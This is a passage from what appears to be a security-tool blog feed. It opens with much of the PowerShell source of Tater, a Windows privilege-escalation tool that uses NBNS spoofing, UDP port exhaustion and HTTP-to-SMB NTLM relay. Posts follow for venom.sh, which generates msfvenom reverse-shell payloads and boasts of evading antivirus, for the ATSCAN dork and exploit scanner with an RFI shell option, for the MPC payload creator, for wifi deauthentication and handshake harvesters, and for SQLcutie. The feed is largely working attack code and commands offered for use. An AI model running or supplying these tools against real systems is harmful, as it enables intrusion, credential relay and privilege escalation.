                        $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")
                        $tater.SMB_relay_active_step = 0
                        $SMB_relay_socket.Close()
                    }
                }
            }
            else
            {
                $NTLM = 'NTLM'
            }    
        }

        $HTTP_timestamp = Get-Date -format r
        $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp)
        
        $HTTP_WWW_authenticate_header = (0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20)

        if($NTLM)
        {
            $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM)
            [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`
                + $tater.response_StatusCode`
                + (0x20)`
                + $HTTP_response_phrase`
                + (0x0d,0x0a)`
                + (0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x70,0x72,0x69,0x76,0x61,0x74,0x65,0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)`
                + (0x45,0x78,0x70,0x69,0x72,0x65,0x73,0x3a,0x20,0x4d,0x6f,0x6e,0x2c,0x20,0x30,0x31,0x20,0x4a,0x61,0x6e,0x20,0x30,0x30,0x30,0x31,0x20,0x30,0x30,0x3a,0x30,0x30,0x3a,0x30,0x30,0x20,0x47,0x4d,0x54,0x0d,0x0a)`
                + $HTTP_WWW_authenticate_header`
                + $NTLM`
                + (0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x30,0x0d,0x0a)`
                + (0x0d,0x0a)
        }
        elseif($HTTP_request_type -eq 'WPAD')
        {
            [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`
                + $tater.response_StatusCode`
                + (0x20)`
                + $HTTP_response_phrase`
                + (0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)`
                + $HTTP_content_length_bytes`
                + (0x0d,0x0a)`
                + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)`
                + (0x44,0x61,0x74,0x65,0x3a)`
                + $HTTP_timestamp`
                + (0x0d,0x0a,0x0d,0x0a)`
                + $HTTP_WPAD_response 
        }
        elseif($HTTP_request_type -eq 'Redirect')
        {
            [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`
                + $tater.response_StatusCode`
                + (0x20)`
                + $HTTP_response_phrase`
                + (0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x30,0x0d,0x0a)`
                + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)`
                + $HTTP_location`
                + (0x44,0x61,0x74,0x65,0x3a)`
                + $HTTP_timestamp`
                + (0x0d,0x0a,0x0d,0x0a)
        }
        else
        {
            [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x20)`
                + $tater.response_StatusCode`
                + (0x20)`
                + $HTTP_response_phrase`
                + (0x0d,0x0a)`
                + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x31,0x30,0x37,0x0d,0x0a)`
                + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)`
                + (0x44,0x61,0x74,0x65,0x3a)`
                + $HTTP_timestamp`
                + (0x0d,0x0a,0x0d,0x0a)`
        }
        
        $HTTP_stream.write($HTTP_response, 0, $HTTP_response.length)
        $HTTP_stream.Flush()
        start-sleep -s 1
        $tater.request_RawUrl_old = $tater.request_RawUrl
        $tater.HTTP_client_handle_old= $tater.HTTP_client.Client.Handle

    }

}

$exhaust_UDP_scriptblock = 
{
    $tater.exhaust_UDP_running = $true
    $tater.console_queue.add("$(Get-Date -format 's') - Trying to exhaust UDP source ports so DNS lookups will fail")
    $UDP_socket_list = New-Object "System.Collections.Generic.List[Net.Sockets.Socket]"
    $UDP_failed_ports_list = New-Object "System.Collections.Generic.List[Int]"

    $i=0
    for ($i = 0; $i -le 65535; $i++)
    {
        try
        {
            if ($i -ne 137 -and $i -ne 53)
            {
                $IP_end_point = New-Object System.Net.IPEndpoint([Net.IPAddress]::Any, $i)
                $UDP_socket = New-Object Net.Sockets.Socket( [Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Dgram,[Net.Sockets.ProtocolType]::Udp )
                $UDP_socket.Bind($IP_end_point)
                $UDP_socket_list.Add($UDP_socket)
            }
        }
        catch
        {
            $UDP_failed_ports_list.Add($i);
            $tater.console_queue.add("$(Get-Date -format 's') - Couldn't bind to UDP port $i")
        }
    }

    $tater.UDP_exhaust_success = $false

    while (!$tater.UDP_exhaust_success)
    {
        if(!$suppress_flush_message)
        {
            $tater.console_queue.add("$(Get-Date -format 's') - Flushing DNS resolver cache")
            $suppress_flush_message = $true
        }

        DnsFlushResolverCache

        try
        {
            $host_lookup = [System.Net.Dns]::GetHostEntry("microsoft.com")
        }
        catch
        {
            $tater.console_queue.add("$(Get-Date -format 's') - DNS lookup failed so UDP exhaustion worked")
            $tater.UDP_exhaust_success = $true
            break
        }

        $tater.console_queue.add("$(Get-Date -format 's') - DNS lookup succeeded so UDP exhaustion failed")

        foreach ($UDP_port in $UDP_failed_ports_list)
        {
            try
            {
                $IP_end_point = New-Object System.Net.IPEndpoint([Net.IPAddress]::Any, $i)
                $UDP_socket = New-Object Net.Sockets.Socket( [Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Dgram,[Net.Sockets.ProtocolType]::Udp )
                $UDP_socket.Bind($IP_end_point)
                $UDP_socket_list.Add($UDP_socket)
                $UDP_failed_ports.Remove($UDP_port)
            }
            catch
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Failed to bind to $UDP_port during cleanup")
            }
        } 
    }

    $tater.exhaust_UDP_running = $false
}

$spoofer_scriptblock = 
{
    param ($IP,$Hostname)

    $Hostname = $Hostname.ToUpper()

    [Byte[]]$hostname_bytes = (0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00)

    $hostname_encoded = [System.Text.Encoding]::ASCII.GetBytes($Hostname)
    $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded)
    $hostname_encoded = $hostname_encoded.Replace("-","")
    $hostname_encoded = [System.Text.Encoding]::ASCII.GetBytes($hostname_encoded)

    for ($i=0; $i -lt $hostname_encoded.Count; $i++)
    {
        if($hostname_encoded[$i] -gt 64)
        {
            $hostname_bytes[$i] = $hostname_encoded[$i] + 10
        }
        else
        {
            $hostname_bytes[$i] = $hostname_encoded[$i] + 17
        }
    }

    [Byte[]]$NBNS_response_packet = (0x00,0x00)`
        + (0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20)`
        + $hostname_bytes`
        + (0x00,0x20,0x00,0x01,0x00,0x00,0x00,0xa5,0x00,0x06,0x00,0x00,0x7f,0x00,0x00,0x01)`
        + (0x00,0x00,0x00,0x00)
      
    while($tater.exhaust_UDP_running)
    {
        Start-Sleep -s 2
    }

    $tater.console_queue.add("$(Get-Date -format 's') - Flushing DNS resolver cache")
    DnsFlushResolverCache

    $tater.console_queue.add("$(Get-Date -format 's') - Starting NBNS spoofer to resolve $Hostname to 127.0.0.1")
              
    $send_socket = New-Object System.Net.Sockets.UdpClient(137)
    $destination_IP = [system.net.IPAddress]::Parse($IP)
    $destination_point = New-Object Net.IPEndpoint($destination_IP,137)
    $send_socket.Connect($destination_point)
       
    while ($tater.running)
    {
        for ($i = 0; $i -lt 255; $i++)
        {
            for ($j = 0; $j -lt 255; $j++)
            {
                $NBNS_response_packet[0] = $i
                $NBNS_response_packet[1] = $j                 
                [void]$send_socket.send( $NBNS_response_packet,$NBNS_response_packet.length)
            }
        }
    }

    $send_socket.Close()
 }

$tater_scriptblock = 
{
    param ($NBNS,$RunTime,$Hostname)
    
    Function HTTPListenerStop
    {
        $tater.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")
        $tater.HTTP_client.Close()
        start-sleep -s 1
        $tater.HTTP_listener.server.blocking = $false
        Start-Sleep -s 1
        $tater.HTTP_listener.server.Close()
        Start-Sleep -s 1
        $tater.HTTP_listener.Stop()
        $tater.running = $false
        break HTTP_listener_loop
    }

    if($RunTime)
    {    
        $tater_timeout = new-timespan -Minutes $RunTime
        $tater_stopwatch = [diagnostics.stopwatch]::StartNew()
    }

    while ($tater.running)
    {
        if($tater.trigger -ne 2)
        {
            try
            {
                $Hostname_IP = [System.Net.Dns]::GetHostEntry($Hostname).AddressList[0].IPAddressToString
            }
            catch{}
            
            if($Hostname_IP -eq "127.0.0.1" -and !$suppress_spoofed_message)
            {
                $tater.console_queue.add("$(Get-Date -format 's') - $Hostname has been spoofed to 127.0.0.1")
                $suppress_spoofed_message = $true
                $hostname_spoof = $true
                $Hostname_IP = ""
            }
            elseif((!$Hostname_IP -or $Hostname_IP -ne "127.0.0.1") -and $NBNS -eq 'y')
            {
                $suppress_spoofed_message = $false
                $hostname_spoof = $false
            }
        }

        if(!$tater.SMBRelay_success -and $tater.trigger -eq 1)
        {
            if(Test-Path "C:\Program Files\Windows Defender\MpCmdRun.exe")
            {
                if(($process_defender.HasExited -or !$process_defender) -and !$tater.SMB_relay_success -and $hostname_spoof)
                {
                    $tater.console_queue.add("$(Get-Date -format 's') - Starting Windows Defender signature update")
                    $process_defender = Start-Process -FilePath "C:\Program Files\Windows Defender\MpCmdRun.exe" -Argument SignatureUpdate -WindowStyle Hidden -passthru
                }
            }
            else
            {
                $tater.console_queue.add("Windows Defender not found")
            }
        }
        elseif(!$tater.SMBRelay_success -and $tater.trigger -eq 2)
        {
            $service_webclient = Get-Service WebClient

            if($service_webclient.Status -eq 'Stopped')
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Starting WebClient service")
                $process_webclient = Start-Process -FilePath "cmd.exe" -Argument "/C pushd \\live.sysinternals.com\tools" -WindowStyle Hidden -passthru -Wait
            }

            if($service_webclient.Status -eq 'Running' -and !$scheduled_task_added -and !$tater.SMBRelay_success)
            {
                $timestamp_add = (Get-Date).AddMinutes(1)
                $timestamp_add_string = $timestamp_add.ToString("HH:mm")
                $tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.taskname)
                $process_scheduled_task = "/C schtasks.exe /Create /TN " + $tater.taskname + " /TR  \\127.0.0.1\test /SC ONCE /ST $timestamp_add_string /F"
                Start-Process -FilePath "cmd.exe" -Argument $process_scheduled_task -WindowStyle Hidden -passthru -Wait
                
                $schedule_service = new-object -com("Schedule.Service")
                $schedule_service.connect() 
                $scheduled_task_list = $schedule_service.getfolder("\").gettasks(1)

                $scheduled_task_added = $false

                foreach($scheduled_task in $scheduled_task_list)
                {
                    if($scheduled_task.name -eq $tater.taskname)
                    {
                        $scheduled_task_added = $true
                    }
                }

                $schedule_service.Quit()

                if(!$scheduled_task_added -and !$tater.SMBRelay_success)
                {
                    $tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.taskname + " failed")
                    HTTPListenerStop
                }
            }
            elseif($scheduled_task_added -and (Get-Date) -ge $timestamp_add.AddMinutes(2))
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Something went wrong with the service")
                HTTPListenerStop
            }
        }

        if($tater.SMBRelay_success)
        {
            Stop-Process -id $process_defender.Id
        }

        if($RunTime)
        {
            if($tater_stopwatch.elapsed -ge $tater_timeout)
            {
                HTTPListenerStop
            }
        } 
           
        Start-Sleep -m 5
    }
 }

# HTTP/HTTPS Listener Startup Function 
Function HTTPListener()
{
    $tater.HTTP_endpoint = New-Object System.Net.IPEndPoint([ipaddress]::loopback,$HTTPPort)
    $tater.HTTP_listener = New-Object System.Net.Sockets.TcpListener $tater.HTTP_endpoint
    $tater.HTTP_listener.Start()
    $HTTP_runspace = [runspacefactory]::CreateRunspace()
    $HTTP_runspace.Open()
    $HTTP_runspace.SessionStateProxy.SetVariable('tater',$tater)
    $HTTP_powershell = [powershell]::Create()
    $HTTP_powershell.Runspace = $HTTP_runspace
    $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null
    $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null
    $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null
    $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null
    $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
    $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Command).AddArgument($WPADDirectHosts) > $null
    $HTTP_handle = $HTTP_powershell.BeginInvoke()
}

# Exhaust UDP Startup Function
Function ExhaustUDP()
{
    $exhaust_UDP_runspace = [runspacefactory]::CreateRunspace()
    $exhaust_UDP_runspace.Open()
    $exhaust_UDP_runspace.SessionStateProxy.SetVariable('tater',$tater)
    $exhaust_UDP_powershell = [powershell]::Create()
    $exhaust_UDP_powershell.Runspace = $exhaust_UDP_runspace
    $exhaust_UDP_powershell.AddScript($shared_basic_functions_scriptblock) > $null
    $exhaust_UDP_powershell.AddScript($exhaust_UDP_scriptblock) > $null
    $exhaust_UDP_handle = $exhaust_UDP_powershell.BeginInvoke()
}

# Spoofer Startup Function
Function Spoofer()
{
    $spoofer_runspace = [runspacefactory]::CreateRunspace()
    $spoofer_runspace.Open()
    $spoofer_runspace.SessionStateProxy.SetVariable('tater',$tater)
    $spoofer_powershell = [powershell]::Create()
    $spoofer_powershell.Runspace = $spoofer_runspace
    $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null
    $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
    $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($IP).AddArgument($Hostname) > $null
    $spoofer_handle = $spoofer_powershell.BeginInvoke()
}

# Tater Loop Function
Function TaterLoop()
{
    $tater_runspace = [runspacefactory]::CreateRunspace()
    $tater_runspace.Open()
    $tater_runspace.SessionStateProxy.SetVariable('tater',$tater)
    $tater_powershell = [powershell]::Create()
    $tater_powershell.Runspace = $tater_runspace
    $tater_powershell.AddScript($tater_scriptblock).AddArgument($NBNS).AddArgument($RunTime).AddArgument($Hostname) > $null
    $tater_handle = $tater_powershell.BeginInvoke()
}

# HTTP Server Start
HTTPListener

# Exhaust UDP Start
if($ExhaustUDP -eq 'y')
{
    ExhaustUDP
}

# Spoofer Start
if($NBNS -eq 'y')
{
    Spoofer
}

# Tater Loop Start
TaterLoop

if($tater.console_output)
{

    :console_loop while($tater.running -and $tater.console_output)
    {
        while($tater.console_queue.Count -gt 0)
        {
            write-output($tater.console_queue[0] + $tater.newline)
            $tater.console_queue.RemoveRange(0,1)
        }

        if($tater.console_input)
        {
            if([console]::KeyAvailable)
            {
                $tater.console_output = $false
                BREAK console_loop
            }
        }

        Start-Sleep -m 5
    }
}

if(!$tater.running)
{
    if($tater.SMBRelay_success)
    {  
        if($trigger -eq 2)
        {
            Write-Output "$(Get-Date -format 's') - Remove scheduled task $Taskname manually when finished"
        }

        Write-Output "$(Get-Date -format 's') - Tater was successful and has exited"
    }
    else
    {
        Write-Output "$(Get-Date -format 's') - Tater was not successful and has exited"
    }

    Remove-Variable tater -scope global
}

}
#End Invoke-Tater

Function Stop-Tater
{
    <#
    .SYNOPSIS
    Stop-Tater will stop Tater before a successful privilege escalation.
    #>
    if($tater)
    {
        if($tater.running)
        {
            $tater.status_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")|Out-Null
            $tater.HTTP_listener.server.blocking = $false
            Start-Sleep -s 1
            $tater.HTTP_listener.server.Close()
            Start-Sleep -s 1
            $tater.HTTP_listener.Stop()
            $tater.running = $false
            $tater.status_queue.add("$(Get-Date -format 's') - Tater has been stopped")|Out-Null
        }
        else
        {
            $tater.status_queue.add("Tater isn't running") | Out-Null
        }
    }
    else
    {
        $tater.status_queue.add("Tater isn't running")|Out-Null
    }

    if($tater.status_output)
    {
        while($tater.status_queue.Count -gt 0)
        {
            write-output($tater.status_queue[0] + $tater.newline)
            $tater.status_queue.RemoveRange(0,1)
        }
    }
} 

Function Get-Tater
{
    <#
    .SYNOPSIS
    Get-Tater will display queued Tater output.
    #>
    while($tater.console_queue.Count -gt 0)
    {
        write-output($tater.console_queue[0] + $tater.newline)
        $tater.console_queue.RemoveRange(0,1)
    }
}

Source : https://github.com/Kevin-Robertson

venom.sh v1.0.10 – Codename: Final Polymorphic Stub.

$
0
0

CHANGELOG VERSION 1.0.10 (26/1/2016) Codename: Final Polymorphic Stub;
FUNCTION   |      DESCRIPTION
——- ——-       —————————————————————————
bug fix          ->    ‘getsystem’ bug fixed in all resource files (.rc)
improved     ->    venom terminal displays review/improved/fixed.
improved     ->    ‘elementary OS’ ip address support added (LHOST).
improved     ->    ‘@echo off’ added to all .bat files to hidde letter displays in terminal
added           ->    ‘C-TO-BAT’ powershell Invoke-Shellcode (load shellcode)*new
added           ->    ‘PS1-TO-BAT’ powershell Invoke-Shellcode (load remote payload)*new
added           ->   ‘apache2’ added to deliver your payloads using a malicious URL..
added          ->    stager ‘reverse_tcp_dns’ added to ‘available payloads list’*new
added          ->    ‘gather.rc’ post-exploitation resource file (gather target info)
added          ->    ‘encrypt_PolarSSL’ base64+AES shellcode cypter (manual run)*new
added          ->   ‘SimpleHTTPServerWithupload.py’ a simplehttpserver with download/upload capabilittys if you need it (manual run)
——- ————————————————————————————————————————

[ DISCLAMER ]
The author does not hold any responsibility for the bad use of this tool, remember that attacking targets without prior consent is illegal and punished by law.

Codename: Final Polymorphic Stub. You can see what is a different

Codename: Final Polymorphic Stub.
You can see what is a different

Komodo Venom v1.0.10

Komodo Venom v1.0.10

The script will use msfvenom (metasploit) to generate shellcode in diferent formats ( c | python | ruby | dll | msi | hta-psh ), injects the shellcode generated into one funtion (example: python) “the python funtion will execute the shellcode in ram” and uses compilers like: gcc (gnu cross compiler) or mingw32 or pyinstaller to build the executable file, also starts a multi-handler to recibe the remote connection (reverse shell or meterpreter session).

‘shellcode generator’ tool reproduces some of the technics used by Veil-Evasion framework, unicorn.py, powersploit, etc,etc,etc..”P.S. some payloads are undetectable by AV soluctions yes!!!” one of the reazons for that its the use of a funtion to execute the 2º stage of shell/meterpreter directly into targets ram.

DEPENDENCIES :
— “crisp.sh will download/install all dependencies as they are needed”
— Zenity | Metasploit | GCC (compiler) | Pyinstaller (python-to-exe module)
— python-pip (pyinstaller downloader) | mingw32 (compile .EXE executables)
— pyherion.py (crypter) | PEScrambler.exe (PE obfuscator/scrambler.)

Features
option – build – target – format – output

1 – shellcode – unix – C – C
2 – shellcode – windows – C – DLL
3 – shellcode – windows – DLL – DLL
4 – shellcode – windows – C – PYTHON/EXE
5 – shellcode – windows – C – EXE
6 – shellcode – windows – MSIEXEC – MSI
7 – shellcode – windows – C – RUBY
8 – shellcode – windows – HTA-PSH – HTA
9 – shellcode – windows – PSH-CMD – PS1
10 – shellcode – windows – PSH-CMD – BAT
11 – shellcode – webserver – PHP – PHP
12 – shellcode – multi OS – PYTHON(b64) – PYTHON

F – FAQ (frequent ask questions)
E – exit shellcode generator

Usage:

git clone git://git.code.sf.net/p/crisp-shellcode-generator/shell crisp-shellcode-generator-shell
cd crisp-shellcode-generator-shell
./venom.sh

Updates:
cd cd crisp-shellcode-generator-shell
git pull origin master

If Broken you can download Mirror Manually at: http://sourceforge.net/code-snapshots/git/c/cr/crisp-shellcode-generator/shell.git/crisp-shellcode-generator-shell-a4bd07df390856096dc2788d46b9838c60bd1c28.zip


[ HOW DOES MSFVENOM ACTUALLY BUILDS SHELLCODE? ]
The default way to generate a windows binarie payload (.exe) using msfvenom its achieved through -f flag (Output format)
msfvenom -p payload-name LHOST=127.0.0.1 LPORT=666 -f exe -o payload.exe

But msfvenom allow us to build shellcode in diferent formats
like: asp, aspx, aspx-exe, dll, elf, exe, exe-small, hta-psh
macho, osx-app, psh, vba, vba-exe, vba-psh, vbs, bash, c
java, perl, powershell, python, ruby, sh, vbscript.
The complete list can be accessed using the follow command: sudo msfvenom --help-formats

now lets generate a simple shellcode to windows/shell/reverse_tcp
chosing powershell as output format "note that we will not use
the flag -o (Save the payload) option, this way the shellcode
generated will only displays in current terminal windows".
Using powershell as output format:
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f powershell

Using java as output format:
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f java

Using hex as output format:
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f hex

our post before | Or Download Old Source: shell.tar.gz (24.9 MB)
Source :http://sourceforge.net/p/crisp-shellcode-generator/

ATSCAN v5.2 stable – perl script for vulnerable Server, Site and dork scanner.

$
0
0

Latest Change v5.2 stable 27/1/2016: Correct proxy use

Description:
ATSCAN
SEARCH engine
XSS scanner.
Sqlmap.
LFI scanner.
Filter wordpress and Joomla sites in the server.
Find Admin page.
Decode / Encode MD5 + Base64.

atscan-v5.2

atscan-v5.2

Libreries to install:
ap-get install libxml-simple-perl
aptitude install libio-socket-ssl-perl
aptitude install libcrypt-ssleay-perl
NOTE: Works in linux platforms. Best Run on Ubuntu 14.04, Kali Linux 2.0, Arch Linux, Fedora Linux, Centos | if you use a windows you can download manualy.

Examples:
Simple search:
Search: –dork [dork] –level [level]
Search + get ip: –dork [dork] –level [level] –ip
Search + get ip + server: –dork [dork] –level [level] –ip –server
Search with many dorks: –dork [dork1,dork2,dork3] –level [level]
Search + get ip+server: –dork [dorks.txt] –level [level]
Search + set save file: –dork [dorks.txt] –level [level] –save myfile.txt
Search + Replace + Exploit: –dork [dorks.txt] –level [level] –replace [string] –with [string] –valid [string]

Subscan from Serach Engine:
Search + Exploitation: –dork [dork] –level [10] –xss/–lfi/–wp …
Search + Server Exploitation: -t [ip] –level [10] –xss/–lfi/–wp …
Search + Replace + Exploit: –dork [dork] –level [10] –replace [string] –with [string] –exp [exploit] –xss/–lfi/–wp …

Validation:
Search + Exploit + Validation: –dork [dork] –level [10] –exp –isup/–valid [string]
Search + Server Exploit + Validation: -t [ip] –level [10] –exp –isup/–valid [string]
Search + Replace + Exploit: –dork [dork] –level [10] –replace [string] –with [string] –isup/–valid [string]

Use List / Target:
-t [target/targets.txt] –exp –isup/–valid [string]
-t [target/targets.txt] –xss/–lfi ..

Server:
Get Server sites: -t [ip] –level [value] –sites
Get Server wordpress sites: -t [ip] –level [value] –wp
Get Server joomla sites: -t [ip] –level [value] –joom
Get Server upload sites: -t [ip] –level [value] –upload
Get Server zip sites files: -t [ip] –level [value] –zip
WP Arbitry File Download: -t [ip] –level [value] –wpadf
Joomla RFI: -t [ip] –level [1] –joomfri –shell [shell link]
Scan basic tcp (quick): -t [ip] –ports –basic tcp
Scan basic udp basic (quick): -t [ip] –ports –basic udp
Scan basic udp+tcp: -t [ip] –ports –basic udp+tcp
Scan complete tcp: -t [ip] –ports –all tcp
Scan complete udp: -t [ip] –ports –all udp
Scan complete udp+tcp: -t [ip] –ports –all udp+tcp
Scan rang tcp: -t [ip] –ports –select tcp –start [value] –end [value]
Scan rang udp: -t [ip] –ports –select udp–start [value] –end [value]
Scan rang udp + tcp: -t [ip] –ports –select udp+tcp –start [value] –end [value]

Encode / Decode:
Generate MD5: –md5 [string]
Encode base64: –encode64 [string]
Decode base64: –decode64 [string]

External Command:
–dork [dork/dorks.txt] –level [level] –command “curl -v –TARGET”
–dork [dork/dorks.txt] –level [level] –command “curl -v –FULL_TARGET”
-t [target/targets.txt] –level [level] –command “curl -v –TARGET”
-t [target/targets.txt] –command “curl -v –FULL_TARGET”

How to Usage:

git clone https://github.com/AlisamTechnology/ATSCAN
cd ATSCAN
perl atscan.pl

Update:
cd ATSCAN
git pull

Source : https://github.com/AlisamTechnology | Our Post Before

Msfvenom Payload Creator (MPC) v-1.4.2.

$
0
0

Changelog v1.4.2 : Now works with Kali-Linux rolling (Note from US: this script work fine at Ubuntu 12-15 & Metaspoit).

mpc v1-4-2

mpc v1-4-2

Msfvenom Payload Creator (MPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as simple as possible (only requiring one input) to produce their payload.

Fully automating msfvenom & Metasploit is the end goal (well as to be be able to automate MPC itself). The rest is to make the user’s life as easy as possible (e.g. IP selection menu, msfconsole resource file/commands, batch payload production and able to enter any argument in any order (in various formats/patterns)).

The only necessary input from the user should be defining the payload they want by either the platform (e.g. windows), or the file extension they wish the payload to have (e.g. exe).
+ Can’t remember your IP for a interface? Don’t sweat it, just use the interface name: eth0.
+ Don’t know what your external IP is? MPC will discover it: wan.
+ Want to generate one of each payload? No issue! Try: loop.
+ Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem. Try: batch (for everything), batch msf (for every Meterpreter option), batch staged (for every staged payload), or batch cmd stageless (for every stageless command prompt)!

Note: This will NOT try to bypass any anti-virus solutions at any stage.
Install
+ Designed for Kali Linux v2.x & Metasploit v4.11+.
+ Kali v1.x should work.
+ OSX 10.11+ should work.
+ Ubuntu 12-15 & Metasploit Should work.
+ Weakerth4n 6+ should work.
+ …nothing else has been tested.

Installation using git:

git clone https://github.com/g0tmi1k/mpc && cd mpc
./mpc.sh

update
cd mpc 
git pull

Download : v1.4.2.zip  | v1.4.2.tar.gz
Source : https://github.com/g0tmi1k
Our Post Before : http://seclist.us/msfvenom-payload-creator-mpc-v-1-4-1.html

A collection of scripts to assist in testing wifi security.

$
0
0

Script List:
+ APless WPA Handshake Collector
Script collects probe requests from client devices. Using the SSID in probe request, airbase-ng is used to iteratively set up two access points with the same name where one uses WPA and the other WPA2 protection. All handshakes are collected and can be found in caps/handhshakes-all-01.cap

apless_harvester

apless_harvester

+ WPA handshake collector
Scapy is used to sniff beacon frames from WPA and WPA2 protected Access points. Aircrack-ng is used to deauth all clients connected to these networks. Collected packets are assessed if valid WPA Handshakes are found. Valid Handshakes can be found in the handshakes folder.

wpa_harvester

wpa_harvester

Dependencies:
+ Aircrack-ng suite
+ scapy

Usage:

git clone https://github.com/0x7ab00/Wifi-pentesting && cd Wifi-pentesting
cd apless_harvester
python apless_harvester.py
cd wpa_harvester
python harvester.py

Source : https://github.com/0x7ab00


SQLcutie 1.8a – sqli dork scanner.

$
0
0

SQLcutie is a compact search engine dorker which able to search over 10 different types of error.
To able to use sqlcutie you need Perl’s modules:
+ LWP::UserAgent
+ HTTP::Request
+ Term::ANSIColor

sqlcutie

sqlcutie

Changes on 1.8a:
– Hot fix for search engine’s regex
– Added more error types

With Function:
+ Wide detection range (MySQL, MsSQL, PostgreSQL, JDBC/Oracle, Access, MariaDB, DB2, Sybase)
+ Regconize dynamic dork queries (e.g. asp?id+site:us, (asp|aspx)?id=)
+ Works through Tor

Usage:

git clone https://github.com/madfedora/sqlcutie.git && cd sqlcutie
chmod +x sqlcutie.pl
or
perl sqlcutie.pl

./sqlcutie.pl -d php?id=
./sqlcutie.pl -c

Script:

#!/usr/bin/perl --
=for comment

MP""""""`MM MM'"""""`MMM M""MMMMMMMM                     dP   oo         
M  mmmmm..M M  .mmm,  MM M  MMMMMMMM                     88              
M.      `YM M  MMMMM  MM M  MMMMMMMM .d8888b. dP    dP d8888P dP .d8888b.
MMMMMMM.  M M  MM  M  MM M  MMMMMMMM 88'  `"" 88    88   88   88 88ooood8
M. .MMM'  M M  `MM    MM M  MMMMMMMM 88.  ... 88.  .88   88   88 88.  ...
Mb.     .dM MM.    .. `M M         M `88888P' `88888P'   dP   dP `88888P'
MMMMMMMMMMM MMMMMMMMMMMM MMMMMMMMMMM 

      *-----------------------------------------------------------*	 
      |                                                           |
      |      SQLCutie 1.8a                                        |
      |                                                           |
      |      Hot fix for 1.8                                      |
      |                                                           |
      *-----------------------------------------------------------*
=cut

use LWP::UserAgent;
use HTTP::Request;
use Term::ANSIColor qw(:constants);

#-----------------------------------------------------------#
#      Help menu                                            #
